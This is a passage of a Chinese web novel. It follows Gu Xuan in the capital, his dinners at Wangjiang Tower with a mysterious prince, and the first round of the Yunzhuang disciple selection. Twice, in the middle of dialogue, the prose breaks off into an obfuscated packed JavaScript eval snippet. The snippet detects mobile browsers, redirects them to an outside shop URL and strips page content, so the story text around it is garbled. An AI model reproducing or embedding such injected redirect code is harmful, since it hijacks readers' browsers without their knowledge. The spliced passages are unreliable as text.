这封信里,顾暄说自己已经到了京城,过几天就是云庄的大选,他得好好努力,争取进入内院。 写啊写啊,什么鸡零狗碎的都写上了,写满了整整四页纸。中途写累了还睡了一小觉。 醒来时晚霞尚好,房中只有他一个人,柳无喧他们也不在,顾暄咂摸了一下,后知后觉品出了一丝孤独的味道。 信末,他加上了一句“阿爹,哥,有点想你们了。” 《史记》里说“疾痛惨怛,未尝不呼父母也”。山穷水尽之际,人不免会想到自己的来处和归途。 阿爹这词他已经很久没叫了,十岁以前还会喊喊,十岁后觉得这样喊像是在撒娇,于是改口了,王爷还遗憾了好长一段时间。 皇宫,一处安静的偏殿中。 临近偏殿,一名紫色锦袍的男子放轻了脚步,门口的侍卫见到他来了,无声地行了个礼。 男子摆摆手,直接进去了。侍卫们并未阻拦,因为里边那人特地嘱咐过,这个与他一母的弟弟若是来了这里,不必通报。 进殿,首先映入眼帘的是一道背对着他的半弯着腰写字的清瘦身影,那男子着素衫,听到脚步声也没有回头,只是问:“予儿回来了?” 紫衣男子熟稔地上前帮他研磨,自然而然地往宣纸上投下视线,本想看看自己这位兄长写了什么墨宝,却瞥见满目整齐的“沛雨甘霖”。 最末,是一个名字。最后一字落笔不稳,隐约能同时瞧见“断柴”“枯骨”之病,与前面几十个工工整整的“霖”字格格不入。 谢霖。 今天他怎么突然想起这个名字了? 紫衣男子倏地移开视线,像被烫着一般。他原本有些懒散的神色一一收敛回去,显出几分谨慎,“是,他还在云庄复命,稍后应该会过来。” 素衫男子卷起连墨都没干的宣纸,唤人点火,自己则将那宣纸掷入火中。转眼间,那成百个字消失在火焰中,仿佛从未存在过,连带着那个名字。 “叫他休息好,不急着入宫。” “是。” 选了最快的方式寄信,顾暄在街上晃荡,看什么都新奇,不知道晚饭吃什么。 京城有东西十二街,东街基本上是达官贵人和王公贵族住的地方,还专门划了片区域,叫“永兴坊”。茶肆酒楼、雅舍赌坊在东街也多有分布。 兜兜转转,他来到一处叫“望江楼”地方,原因无他,王爷在他的行李里塞了一张特制的纸。这张纸怎么折也不会褶皱,遇水不湿,巴掌大的纸上刻着复杂的花纹,右下角有一处高楼,左上角写着“望江楼”三个大字。 据说是望江楼贵客才能持有这张纸,王爷年轻时和几位朋友经常在这里吃饭,又跟望江楼楼主关系不错,一来二往的就有了这张纸。 顾暄走进大堂,映入眼帘的是一个池子,池子里竖着一座两层楼高的假山,瀑布飞流直下,气势恢宏。 绕过大堂到正厅,中央搭着一个大舞台,上边有歌女在献唱,旁边是乐师在伴奏。随着舞女的动作,楼阁上洒下一阵花瓣。席间花香四溢,清淡又不带有脂粉俗气,伴随着喝彩声飘来。 一个长相精明、身材微胖又留着两撇胡子的中年人走过来,微笑道:“客官,您是要吃饭还是……” 顾暄将那张纸递给他,随口道:“吃饭。” 那人接过那张纸,瞳孔瞪大了一瞬,随即神色更加恭敬,双手将这张纸还给顾暄。他在前边带路,引着顾暄上三楼,边走边说:“贵客,您是要单独一个雅间还是在大堂?雅间安静,大堂可以听曲儿……” 一个人吃饭还要什么雅间?顾暄道:“大堂。” “好的,您跟我来。” 来到三楼,那人引着他到视野较好的一处桌子前落座。这边没什么人,只有邻座一位紫色锦袍的男子正捏着酒杯往楼下看。 顾暄对红色衣服和紫色衣服的人快有心理阴影了,忍不住多瞥了一眼。这男子看着比王爷年轻一些,皮肤白皙得跟泡在脂粉堆里长大似的,眉眼间有股与生俱来的贵气,抬手动作漫不经心,好似对什么都不在意。 男子觉察到他的视线,回头,对他笑了笑。 再看下去就不礼貌了。顾暄笑笑,转过视线。 那中年人自称姓萧,是这望江楼的代理掌柜,望江楼楼主现下不在京城,一切事务由他暂时代为处理。他亲自给顾暄泡了一壶大红袍,问顾暄要吃点什么。 顾暄想了想,道:“我初来京城,对这里的饮食一窍不通,只听闻过望江楼里的酒酿不错。” 邻座的紫袍男子笑了声,出言道:“小兄弟说的不错,望江楼的‘江露’酒酿确实不错,值得一试。如果不知道点什么菜,按我这桌点来试试吧……在下是土生土长的京城人。” 顾暄瞥了瞥他那桌的菜品,一碟不知道卷着什么东西的脆饼,一碟裹着黄豆粉的点心,一碟摆放整齐的烤鸭,一小壶酒。 他想了想,不如听听这人的推荐,好不好吃另说,当即答应下来。 等那萧掌柜离开,顾暄跟那人道谢。那人摆摆手,边把玩着酒杯边问他从哪里远路而来。 顾暄耍了个心眼,说从剑门来。 那人点点头,“剑门,不久前不少人到那儿取剑,不错。” 酒先上来,那掌柜给他倒了一杯,顾暄抿了一口,眼前一亮,随即把剩下的一饮而尽。 酒液温润,滑过舌尖时冰冰凉凉的,不知为何有一丝松木的味道。初入腹腔没什么感觉,随后四肢慢慢回暖,骨子里像浸了一层水,整个人放松下来。 他忍不住赞道:“好酒。” 那掌柜又给他倒了一杯酒,这时菜品一一端上。烤鸭色泽金黄,外脆里嫩;裹着黄豆粉的点心一口咬下去软糯香甜;连那盘名叫“黄金卷”的点心,里面蘸了酱,包着黄瓜丝、鸡蛋丝、豆芽菜等,大小连人的掌心的一半都不到,两口一个。 顾暄吃得头也不抬,稍感油腻便喝几杯酒解腻,他总算知道王爷为什么对望江楼的饭菜念念不忘了,换他他也念念不忘。 一顿风卷云残,顾暄眯了眯眼,觉得浑身泡在泉水里,松快得不行。他靠在椅背上,听着舞台上歌女婉转动听的歌声,困意慢慢袭来。 那紫袍男子笑道:“这酒后劲足,你可不要醉了。” 顾暄想反驳他,话到嘴边又懒得说了,只能含糊地“唔”了一声。 谢予几人根据云庄暗卫传来的消息来到望江楼,看到的就是这一幕:顾暄面前摆着几个空碟子,本人已经趴在桌子上睡得不省人事了,旁边的掌柜在不远处留意着他的情况,紫袍男子则饶有趣味地看着顾暄。 谢予几人看到那紫袍男子,脸上闪过讶然之色。 柳无喧和云谨止步行礼,道:“王爷。” 谢予也微微俯身行礼,不过他喊的不是王爷,“皇叔。” 紫袍男子摆摆手,用手指了指顾暄,戏谑道:“你们找他?他喝了足足一小壶‘江露’,回去有得受了。” 谢予上前,轻轻拍了拍顾暄肩膀,道:“顾暄?顾暄?阿暄?” 回应他的只有顾暄平稳的呼吸声。 谢予无奈,打算把他背起来,两位师弟在一旁帮忙。那人睡梦中也不老实,不知是梦到了习武还是打架,一拳打在柳无喧腹部。 柳无喧“哎哟”了一声,被这猝不及防的一拳打弯了腰,他怒了怒:“这小子,怎么醉酒了还打人的?古语道‘睡相不好的人难教’,我看这小子就符合。” 紫袍男子在一旁看着几人手忙脚乱地把顾暄安置在谢予背上,含笑道:“予儿,这位小公子是谁?怎么引得庄主门下三位公子亲自来这望江楼接人?” 鉴于场中还有其他人,谢予没说他是王爷的次子,只答道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278646|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是来参加大选的人。” 这话一出来咂摸着更古怪了,往年云庄也大选,没见过云庄内院弟子特地跑出来接人的。 紫衣王爷呵呵笑了两声,没说什么,只是让他们快些回去,天要黑了。 顾暄这一觉醒来是第二天中午,连早饭都省了。睡醒后他感觉疲惫都消散了,整个人神清气爽,拿上衣服沐浴过后,更是感觉整个人活了过来。 他用内力慢慢烘干头发时,柳无喧从外边进来了,看见他,没好气道:“醒了?醒了滚过来吃中饭。” 顾暄莫名其妙,问:“你吃火药了?” 柳无喧幽怨地瞪了他一眼,指了指自己的腹部,咬牙切齿:“你昨晚喝醉酒,打了我一拳,现在这块还疼着呢。” 顾暄大惊,放下手溜过去,隔着衣服看了看柳无喧指的地方。隔着衣服当然看不到什么名堂,他这样做是要表示自己对柳无喧受伤的关心。 顾暄看完,双手合十作了个揖,诚挚道歉:“对不起柳公子,下次绝对不会了。” 柳无喧道:“你最好做到。” 他跟柳无喧下楼,在大厅角落看到了正在喝茶的云谨,据说谢予有事便不来了。 三人吃了一顿中饭。席间,柳无喧跟他说五天后就是云庄的大选了,让他这几天得空时练一下功夫。 云庄庄主跟顾柳青的约定是让顾暄拜师云庄,没说内院外院,就算是顾暄入了外院,也算是履约了。 最近王爷给他的传信中谈到拜师这事,他让顾暄入个外院意思一下,外院轻松一些,事少活少,他在京城玩个两三年再回东临城。 顾暄想了想,在信中谈到他的豪情壮志: “爹,你说我有没有可能入内院?” 王爷回信:“别太离谱。” 他收到顾暄来信时正歪在躺椅上看话本,天戎人的事情暂时告一段落,交给云庄处理,他刚好闲下来。 这小子出了一趟远门就膨胀了,异想天开地说想进内院——内院就庄主和三大长老,收的弟子无一不是天赋异禀者。他一个刚开脉、不知道有没有一重境的十五岁少年,一上来就说拜师内院? 相当于一个刚学会走路的稚子说自己要御剑飞行。 顾柳青摇摇头,凭他的关系,可以给顾暄在外院找一位较好的师父,但是内院他就没办法了。太子都进不了内院,他一个王爷,手还伸不了那么长。 他回信后,看着远去的黑鸟,唇边的笑意淡了些——当初那人,和自己约定让顾暄拜师云庄,目的真的有那么简单吗? 据说北安王世子也前往京城,这是上面那位的掣肘还是什么?如果是,他还不至于这么担心。 柳无喧几人后面几天忙着大选的事情,所以顾暄那几天除了习武和写信就是去望江楼吃饭,在那里吃过一次饭就觉得其他地方的饭菜没那么好了,顾暄自然不舍得委屈自己。 奇怪的是,每一天傍晚去吃饭,他总能看见那紫袍男子在三楼大厅视野最好的那处。看见顾暄他便招手,示意他过来。 等顾暄走近来,他说自己一个人吃饭未免孤单,不如两个人一起吃饭,有个伴儿,他可以请客。 顾暄头一天拒绝了,回去传信给谢予,问他这人可不可靠。 谢予说这人不是坏人,顾暄便放心了。 第二天再邀请时,顾暄便毫不客气地坐在他对面。 紫袍男子自称姓靳,家住京城。说好的吃饭就真的是吃饭,多数时候两人边看戏便吃饭,谈论的东西多是诗词歌赋、江湖逸事,出身背景什么的一概不谈,好像他真的只是缺少一个陪他吃饭的人。 两人一说话,发现彼此都对彼此的口味,更是觉得缘分妙不可言。 到了第四天,顾暄有些不好意思了。虽然蹭吃蹭喝不用花自己的钱挺好的,但是他还是有一丝稀薄的良心在身上的。 于是第五天,顾暄主张自己请他吃饭。 靳公子摇了摇扇,打趣着说顾暄今天可能要破费了。 顾暄让他先点菜,一本正经道:“应该的应该的,你请了这么多回,该我了。” 前三天他客气了一下,让顾暄点菜——不曾想顾暄点了一桌他自己平时都未必舍得吃的菜,看得他肉疼。要不是没有这些事,他差点就要信了这小子的话。 15. 一面 靳公子还是手下留情了,点了几个中规中矩的菜,再来了一壶江露。 等菜时,顾暄说:“我明天不来了,可能以后来的次数也很少。” 靳公子对这消息不奇怪,点了点头,问:“这几天你都是一个人来,你的家人朋友呢?” 前面几天靳公子就问了他姓什么,其他的一概没问,就当顾暄是个萍水相逢的忘年交一样。除了那句听得耳朵要长茧子的“你眼睛长得真好看”。 顾暄也不再瞒他了,坦然道:“家人不在身边,朋友的话你算一个……实不相瞒我明天要去考试了。” 靳公子听到前面半句,笑了声,说:“那真是在下的荣幸了。” 听到后面那句,他也不惊讶,只是问:“拜师?不是乡试吧…云庄的大选?” 顾暄心道自己一听那唱歌似的教书先生讲课就犯困,去参加乡试不是招笑吗?想起谢予的话,他便点了点头。 靳公子笑道:“有志气,我看好你。虽然拜师云庄的多是十七八岁的少年,但人各有志,没准你就进了呢。” 顾暄脸上端着谦虚的神情,内心想法却不太谦虚。他心道我不光要进,还想进内院呢。不过这话他没说出来,以他目前的实力来看,这话说出来别人只会以为他酒喝多了做梦。 他的计划是,进不了内院的话先拜师外院,以后没准可以进呢。从小到大,他要的东西,王爷和世子大多数时候都会给他。 但是来到外面,这些东西没人给他了——尽管王爷说自己已经给他在外院找好了一位偏理论、比较随和的师父,让他不用受那习武之苦。 一想到这个顾暄就头疼。十来岁那几年,他爹给他找的教书先生不像吃大米饭长大的,更像以四书五经为食,张口闭口就是圣贤之道和之乎者也。明明顾柳青年少读书时也受不了此等严师,给孩子择师就“忘记”这茬了,美其名曰“严师出高徒”。 那课上得他是昏昏欲睡、痛苦不堪的,偏偏那几位老先生还异常严厉,稍有发呆便吹胡子瞪眼,课后还告状,搞得他现在一听到听课就犯怵。 他不想拜师那位偏理论的师父。所以离开东临城后,很多东西都要靠他自己去争取。 天下太大了,光是江湖上就有九大门派,在朝廷上有四位谢氏王爷、三位异姓王、两位丞相、六部尚书等等。即使是东平王的次子,在这京城中也要老老实实做人。 除了西定王是宣景皇帝的堂兄,其他三位镇守边疆的王爷都是异姓王。 顾暄想了想,尽管他的内心里是想谦虚一点的,奈何说出的话背道而驰:“我也这么觉得。” 靳公子笑了有一会儿,才道:“你这家伙,也不知道谦虚一点。你才几岁呀,敢说这样的话?就连当今太子想入那云庄的内院,也没有成功呢。” 顾暄狐疑道:“不是太子最后不想去吗?” 他记得他爹跟他说,太子在五年前——也就是十三岁那年开脉,据说根骨不错,以后是能入内院的。但是不知为何,他到云庄走了一圈就改变想法,最后没进云庄,而是选了剑仙林炀做师父。 他爹私底下跟他说云庄庄主那人有点神经在身上的,太子觉得他不太正常,就选了林炀做师父。现在想来顾柳青对云庄庄主的点评,不排除有上眼药的成分。 靳公子一噎,道:“江湖上都这么说,况且你怎么就知道太子不想去呢?” 他总不能说这是他爹跟他说的吧,编排太子可不是小事。于是他含糊道:“我猜的。” 靳公子给自己倒了杯酒,跟顾暄的白水碰了碰杯,道:“那我就期待你的表现了。” 因着第二天要参加大选,顾暄特地早了些告辞,留靳公子在那儿继续喝酒听戏。 走出望江楼大门时天色还算不上晚,这才知道自己估早了时间,现在要回去找靳公子继续吃饭也不太现实,他干脆在街上东逛逛西晃晃,权当是熟悉京城了。 为了避让一个跑过来的孩子,顾暄不得不往车马行驶的道路那边靠了靠,随即又闪了回去。 离他几米远的一辆快速驶来的马车看到顾暄从路边蹿了出来,车夫怕撞上人,狠狠一拉缰绳,那马叫了一声,马蹄在空中扬了几下,那马车的速度便慢慢降下来了。 看到顾暄又闪了回去,那车夫气急败坏,怒道:“你有毛病是不是?这条路是你家的?想来就来?” 顾暄本来觉得自己理亏,听到这人开口又觉得错在对方了。他挑了下眉,道:“我那是避让幼儿,情有可原。你那马车一开始就超速了吧,急什么急?” 他超速顾暄还没说什么呢,要是真撞着人了他少不了好果子吃。 那车夫横眉竖眼,刚要说话,马车的帘子就被挑了起来,一位头发银白的老人从马车里出来了。 他身上穿着一身用金丝滚边的黑袍,眼窝有些深,鼻子又很高挺,从面相上看有些凶。 一位看起来比他年轻很多的干练女子扶着他下来。 那车夫看到那老人下来时不敢跟顾暄多言,瞪了他一眼后连忙转身行礼。 老人摆摆手,看见顾暄时愣了愣。 顾暄以为这人也像那车夫一样想说教自己,毕竟有这样的车夫,主子是个什么东西一目了然。他干脆抱臂站在那儿,一侧眉毛高高扬起,毫不畏惧地跟那老人对视。 老人旁边那灰袍女子拧眉看着顾暄,那车夫也神色不善,顾暄简直奇了,你车马超速加上骂人还有理了?三对一还有理了? 想着气势上不能输,他干脆虎着个脸,跟那三人僵持着。 那老人缓缓开口:“你是哪家的孩子?” 顾暄听出了他要套话的意图,看这人的衣着以及敢在东西十二街上车马超速,他的背景应该不简单。 于是顾暄眼睛看天,耍了个心眼:“反正不是你家的。” 那车夫忍不住怒道:“你——” 老人咳了咳,神色有些倦怠,抬手止住车夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278647|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来要说的话,道:“事出有因,车夫超速行驶也是不得已,估……估计下次不会了。” 什么叫估计下次不会了?这人说话怎么这么奇怪? 眼见他服软了,顾暄本来自己蹿出路中央还有些抱歉,被那车夫骂了才心生不爽的。此时见老人不计较,他也没什么好说的了,便“哦”了一声,将手臂放了下来。 老人还是盯着他看了一会。 顾暄摸了把脸,确认自己脸上没有脏东西后,老人却转身上车了。 马车驶过,留下一地烟尘。 顾暄走回客栈,边走边用他十几年的经验想道:他看了我那么久,莫不是我长得太好看了? 毕竟他哥哥顾映有时候出门,也有人这么盯着他看。顾暄推人及己,便也觉得是自己这副好相貌惹的祸。 第二天,八月十五,正值中秋佳节。朗日高照,凉风习习,北地的秋意萧瑟而浓厚,梧桐叶被风吹得直打卷儿。顾暄踩着落叶走进东街十一巷一处大院子时,不少人已经来了。 更让顾暄觉得晦气的是,他竟然在这里看到了北安王世子沈昧。沈昧也看见他了,一脸嫌弃。两人对视一眼,均从对方的脸上看到了几欲呕吐的神色。 顾暄往他身后看了看,没看到赵霄,估计是除了参选弟子,其他人都无法进入这处院子。 门口有身着兰花白袍的弟子引路,顾暄跟着他们兜兜转转,最后来到一处大擂台。再过约莫一柱香,身着白袍的云谨来了。 第一次见他穿白衣是在他和柳无喧救了自己的那晚,天太黑了加上快要别人打死了,再惊为天人的相貌顾暄也来不及欣赏。后面在剑门取剑那几日,云谨都没有穿过白袍。 今日终于得空细细见此神颜。那身兰花白袍在他身上恰到好处,勾勒出他劲瘦的腰线,腰间辅以一条半掌宽的藏蓝色云纹腰带,腰带上悬着一枚白玉佩,再加上他偏女相的容颜,整个人看起来出尘脱俗。 顾暄听到不少人暗暗倒吸了一口气,更有一些女修在暗暗咬耳朵。 云谨走上擂台,内力加持的温润嗓音传到每个人的耳中: “我叫云谨,是云庄庄主的二弟子,因为师弟有事,所以由我负责第一轮面试。” 光是第一句就把不少人惊了一遍——云庄大选四年一次,上一次大选庄主选了两位弟子。 关键是往年大选第一二轮面试的负责人一般是外院长老,最后一轮面试最大可能是内院长老,今年怎么就庄主的亲传弟子来了? 难不成第二轮、第三轮面试也是庄主的其他两位弟子负责?那这样算,是重视程度提升了还是降低了? 云谨没管底下人异彩纷呈的脸色,继续说道:“按惯例,第一轮比试是通过测灵石的考验,主要是测试你们的根骨。同时,今年的大选又不止于此——稍后这里将会开展一个阵法,会问及你们一些问题,意志不坚定的人将会被淘汰。好了,休整半柱香的时间,第一轮比试便开始。” 16. 无解 顾暄身上带着那把雪落,不少人的目光落在这把剑的身上,或羡慕,或嫉妒,或神色不明。沈昧瞥了一眼,转头哼了一声。 顾暄磨了磨牙尖,心里默不作声道:“这老/公鸡。” 有个身着红衣的明艳少女看见顾暄那把剑,眼睛一亮:“哇,这是名剑城今年铸成的雪落吗?竟然被你取走了。” 顾暄笑笑,刚要答话,那少女便被她的同门拉了回去。那人神色警惕地看了看顾暄,好像在看一只不怀好意的黄鼠狼,对他师妹窃窃私语道:“这么年轻拿到此等名剑,绝对是假他人之手的,你离他远些。” 习武之人多耳目聪明,这点音量差不多周围一圈人都听见了。几个人的目光在顾暄身上逡巡着,带着点意味不明的探究。 那少女遗憾地看了眼雪落,抬头对顾暄抱歉地笑笑。 顾暄回了个笑容,也没理那胡乱揣测的家伙。一定意义上,自己得到这把雪落的经历确实是很离奇。 一柱香后,众人陆陆续续地走进擂台中央那个泛着白光、上面有着奇异纹路的阵。 阵法将每个人都独立开来,每个人只能看见自己的选择,看不到其他人的选择,而阵法外的人可以将里面的景象看得一清二楚。 云谨作为第一轮面试的总负责人,负手站在台下看着众人的情况。每一个参选弟子的表现情况皆有对应的云庄弟子负责记录。 顾暄睁开眼睛,看到周身一片黑暗,唯有前面不远处泛着一点微弱的白光。 他知道第一轮面试考的是通过测灵石,看测灵石对每个人经脉和根骨的预测。这玩意很大概率是准的,当然也有例外——太子的习武师父剑仙林炀当年被测灵石判定为天赋下等偏下,是九等中最差的一等,但这不妨碍人家后面成为了赫赫有名的剑仙。 顾暄循着光一路走去,走到尽头看见一块巨大的黑石,黑石上写着“凡所有相,皆是虚妄”。 顾暄没忍住笑了,这黑石上怎么刻着《金刚经》呢?这是来测根骨还是来传教的?而且刻的还是佛教有关经文。 关于这佛教与谢氏皇族的渊源,那可就是说个三天三夜都说不完了。 现在的太上皇,即当年的武成皇帝谢居和知人善任,命令将士东征西战,打下了今日大梁盛世的基础。在北边,北安王使北蛮远遁西北;在西边,西定王联合北安王、东平王灭掉天戎国;在南边,南宁王征战南疆,使南疆广阔的领土归入大梁领域;在东边,东平王镇守海域,提防周边岛国。 这么一位武功卓绝的皇帝,在退位前些年想享受含饴弄孙的清福,谁知那些年皇室孩子不是胎死腹中,就是出世不久夭折,西定王的一对龙凤胎就没活下来。 当时的大报国寺方丈也是艺高人胆大,面对武成皇帝忧心忡忡的询问,竟然说出了“陛下这些年东征西战、劳民伤财、杀伐过重,所以孩子都不敢投生到谢家了,女孩更甚”这类话,等同变相说是谢居和惹的祸。 武成皇帝勃然大怒,差点下令砍了那方丈的脑袋。大报国寺?起这么好的名字,安的是什么居心,报的是哪门子的国?改名! 从那以后,大报国寺便改名为隆福寺。一连好几年,朝廷中都没人敢触武成皇帝的霉头,怕九族脑袋分家。信佛的人转头改信道,大部分还是坚持儒家那套,九大门派之一的大觉寺受到冲击,青城山地位有所上升也跟这些有关。 直到宣景皇帝上台十多年后,充斥在大梁沉郁的文化氛围才有所缓解。几番“灭佛”后,佛家的地位动摇,形成了以儒家为主、释道两家为辅的基本格局。 武成皇帝没有女儿,只有四个儿子,但到了宣景皇帝这一辈更少。宣景皇帝子嗣少,仅有一子一女,但女儿刚出生便夭折了,儿子便是现在的太子。 宣景皇帝的其他几位兄弟,端王早逝,睿王子嗣不丰,年过四十的信王未婚,这么一看皇室子嗣确实蛮凋零的。 这时人们便想起那方丈的“谣言”了,民间谣言也不胫而走:武成年间确实战争居多,征收的赋税确实重,所以这报应就到了后代身上? 武成皇帝他老人家坚决不信那造口业的方丈的谣言,奈何谣言蒸蒸日上,他老人家不得已便去了趟泰山,写了份罪己诏。 南宁王因常年征战落下一身疾病,身死后留下一幼女,从小在京城长大。武成皇帝对她宠爱有加,后面甚至让宣景皇帝封她为公主。 奇怪的是,自从封了公主,这南宁王幼女的身子就一天比一天弱,最后险些丧命。宣景皇帝只好恢复了她郡主的封号,这女孩才捡了条命。 于是民间更加坐实了那方丈的说法。 顾暄回忆完皇家往事,将目光放回这黑石身上,心想这是哪位艺高人胆大写的。 他走上去,将手放在那黑石身上。等了会,那黑石毫无反应。 顾暄一头雾水,不应该是手放上去不久黑石便显示出天赋如何吗?他这个没反应是什么意思?难不成连下等偏下都捞不到? 他绕着这黑石走了一圈,不测灵石他便无法走到下一关,关键是这灵石也不显示点字啥的。 他又将手放上去,等了半盏茶,中途正手反手都试过几遍,那黑石还是毫无反应。顾暄有点怒了,这是什么意思? 他微微皱起眉,一掌拍在黑石上,“轰”的一声。这下黑石有反应了——它直接把顾暄的手掌吸住了! 场外负责记录顾暄表现的云庄弟子大惊,往年别人测灵石的时候都是将手轻轻放在上面的,这位爷怎么直接一掌轰上去了呢?太暴力了吧。 云谨留意着这边,看到顾暄一掌拍上去时扶了扶额,心道这家伙等下要吃点苦头了。 顾暄抽了抽手掌,发现无法抽开,随后一道强横的内力顺着他的经脉往上。那道经脉就像烈火一样,所到之处燃起灼烧感,顾暄痛得“嗷”的一声叫出来了,下意识用内力去挡。 没想到两道内力一相撞,顾暄略输一筹,那道内力就像洋洋得意的胜者一样顺着他的经脉一路畅通,痛得顾暄两眼发黑、哆哆嗦嗦。 等那道内力慢慢散去,黑石后出现一道门,应该是通过了。顾暄的眼前还有些发黑,也顾不上看黑石上将要显示什么内容了,跌跌撞撞地朝那扇门跑去。 等他走进那扇门,黑石上慢慢浮现两个字——无解。 阵法外,云谨夺过负责看着顾暄表现的那名弟子的纸笔,快速在上面记录。 一道声音从云谨后边传来,音色熟悉,不似平时的不羁,带着与之相反的沉稳,“怎么了?” 竟是一袭白衣的柳无喧。 其他弟子看到柳无喧悄无声息来了,回过神后纷纷行礼。柳无喧抬手往下压了下,凑过去看到云谨纸上写的内容,忽而一愣。 另一边,顾暄进了那扇门后,经脉那阵灼烧感没了,映入眼帘的不是一片黑暗,而是一派山清水秀、世外桃源,一位垂钓老翁坐在江边,目光平静地落在江面上。 顾暄没找到出口,便走过去,问:“您好,我要怎么走出这个秘境?” 那老翁眼皮都没抬,跟没听到似的。 顾暄心道这难道是个聋哑人,便伸出手在他面前晃了晃,在收到怒视以及一声“ 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顾暄奇道:“好奇怪的问题,我如何关他者什么事?自私自利又如何,拔剑目的还能分出个三六九等不成?为自己就是自私?为他人就是高尚?那这样人人都可以说是为天下了,毕竟站着说话不腰疼。” 老翁将鱼竿一甩,怒道:“你没那个志气还要嘲笑别人?老朽我今天就教训教训你。” 说完,他不知从哪来掏出一把剑,对着顾暄砍下来。顾暄屁股下的地方还没坐热,这老头突然发疯要砍他,他不得已拔出雪落,一边将轻功运转到极致,一边还手,恼道:“我哪里嘲笑别人了?我嘲笑的是那些心里一套嘴上一套的人,做人不能坦荡还练什么剑?” 老翁一剑震得雪落脱手,哼道:“你以为你就表里如一了?你连自己为什么拔剑都不知道。” 顾暄堪堪躲过那贴着自己的脸劈下来的剑锋,一缕发丝被斩断了,再差几分就是脑袋里。他脚尖一点,身影瞬间来到几米外,接住了即将落地的雪落,随后按他哥绘制的书本上的剑法迎了上去。 猝然被追着打让他有点不爽,他道:“你管我是为谁——为自己,为他人又如何?我现在找不到我的道,日后总归会找到的,哪有人一开始就知道为什么而拔剑的?!” 两剑相撞产生的内力将江水都往下压低了几分,一瞬间江面风波俱起。形势反转,那老翁的剑脱手飞了出去,沉入江水中。他盯着自己那缓缓下沉的剑,沉声道:“为自己之外的人拔剑,少不了要见血。” 顾暄收剑,看了看自己那断了一截的发丝,耸了耸肩:“那又如何?剑本来就是用来保护人的,不是用来杀人的。跟剑一开始用来杀人的‘道’,这并不一样。” 那老翁拿起自己的鱼竿和水桶,头也不回地往另一边走,声音越来越远:“你要保护人就势必要杀人,为别人拔剑避免不了扯进太多因果,小姑娘,好好想想吧——” 猝不及防被喊了一声小姑娘,一瞬的紧张在顾暄脸上掠过,随即他又恢复了刚才那副愤愤不平的模样,哼了一声:“胡说八道。” 然后,整个世外仙境一般的地方就在他面前一寸寸坍塌了。再一次睁眼时,他站在阵法的中央,此时日头已经偏西了。 看样子,这阵法持续时间挺长的,从早上到晚上。有些人还站着,有些人已经不省人事地躺下了,有些人半死不活的,有些人已经被人扶着下去了。 让顾暄不太顺眼的是,沈昧也还站着,虽然脸色有些苍白,但见他看过来时还是挑衅地笑了笑。 顾暄当作没看见,视若无睹地移开视线,意料之内地听到了一声“哼”。 17. 薄礼 第一轮面试,以还在阵法中的人为胜。顾暄这次终于领略到了云庄大选的残酷,光是第一轮面试就已经淘汰了三分之二的人。 顾暄看到云谨身旁还站着柳无喧,一时有些意外。柳无喧清了清嗓子,替云谨开口:“我这师兄劳累一天,入选名单便由我来公布吧……” 像报菜名一样念完了这些人的名字,柳无喧道:“这些人,七日后还是来这个院子,进行第二轮面试。” 顾暄走出院子,沿着街道慢慢走着,感受着北地傍晚那萧瑟的秋意。这几条街一到晚上就热闹得不行,倒是冲淡了不少冷意,就连吹过来的那阵冷风也显得没那么冷了。 路过望江楼时,他忽然福至心灵地抬头往上看,看见三楼的露天阳台摆着一张桌子,桌子上坐着靳公子,看见他还举杯示意了一下。 顾暄眼睛一亮,上了三楼。 靳公子招呼他坐下来,笑道:“看你神色,想必是第一轮面试过了?” 顾暄捻起一块黄金卷,一边点头一边吃,抱怨道:“饿死我了,比完才发现天黑了,中饭都没吃呢……对了,今天是中秋,你怎么不回家团圆?” 靳公子头疼地扶了扶额,道:“我回去肯定要被催婚的,中午就回去一趟了,晚上吓得我不敢回了。” 顾暄安慰他:“没事,一个人自在嘛。” 靳公子给他倒了杯酒,递到他手前,顾暄刚想说明天要习武,然后就听到靳公子说:“这酒度数低,跟果酒一样,你试试。” 顾暄闻言端起酒杯抿了一口,入口即是浓郁的果香,一阵暖流顺着四肢蜿蜒而下,一整天面试下来的疲惫被慢慢扫空,体内内力翻涌,隐隐有升境的趋势。 顾暄惊讶地看着他,靳公子却挑了挑眉,竖起一根手指,说:“一点薄礼,庆祝你过了第一关面试。作为回礼,后面几天你可以到望江楼陪我吃饭,反正第二轮面试不是五天后吗?” 顾暄神色一动,随即端起那刻着莲花的白玉杯跟他碰了个杯,笑道:“我的荣幸,那我就先谢过公子了。” 江湖上有一种酒,不同于药酒,它是可以用来升境的,对于境界卡住的人来说格外有用。 靳公子不仅弄来了这杯酒,对云庄大选的流程也一清二楚,还能看穿他处在升境的时候,他做这些事情真的只是为了找人陪他吃饭吗? 两人谈起京城舞娘新作的小曲,一谈到诗词歌赋,靳公子的话和笑容便多了些,有些侃侃而谈的意味。 顾暄在一旁听着,时不时发表一下自己的看法,心里对靳公子这人的身份却更加好奇了。 八月十七,一个有些凉的下午。云庄一处院子里,有一棵四人环抱粗的青翠树木,像是没有沾染上院外落叶缤纷的秋意。谢予坐在树下和云谨手谈,一人执棋不语,另一人眉头微皱盯着棋盘。 柳无喧就是在这时进院子的。他没刻意放轻脚步,足音不同于谢予的稳重,带着点随意和轻快,“这么有闲情逸致?躲这儿偷偷下棋?” 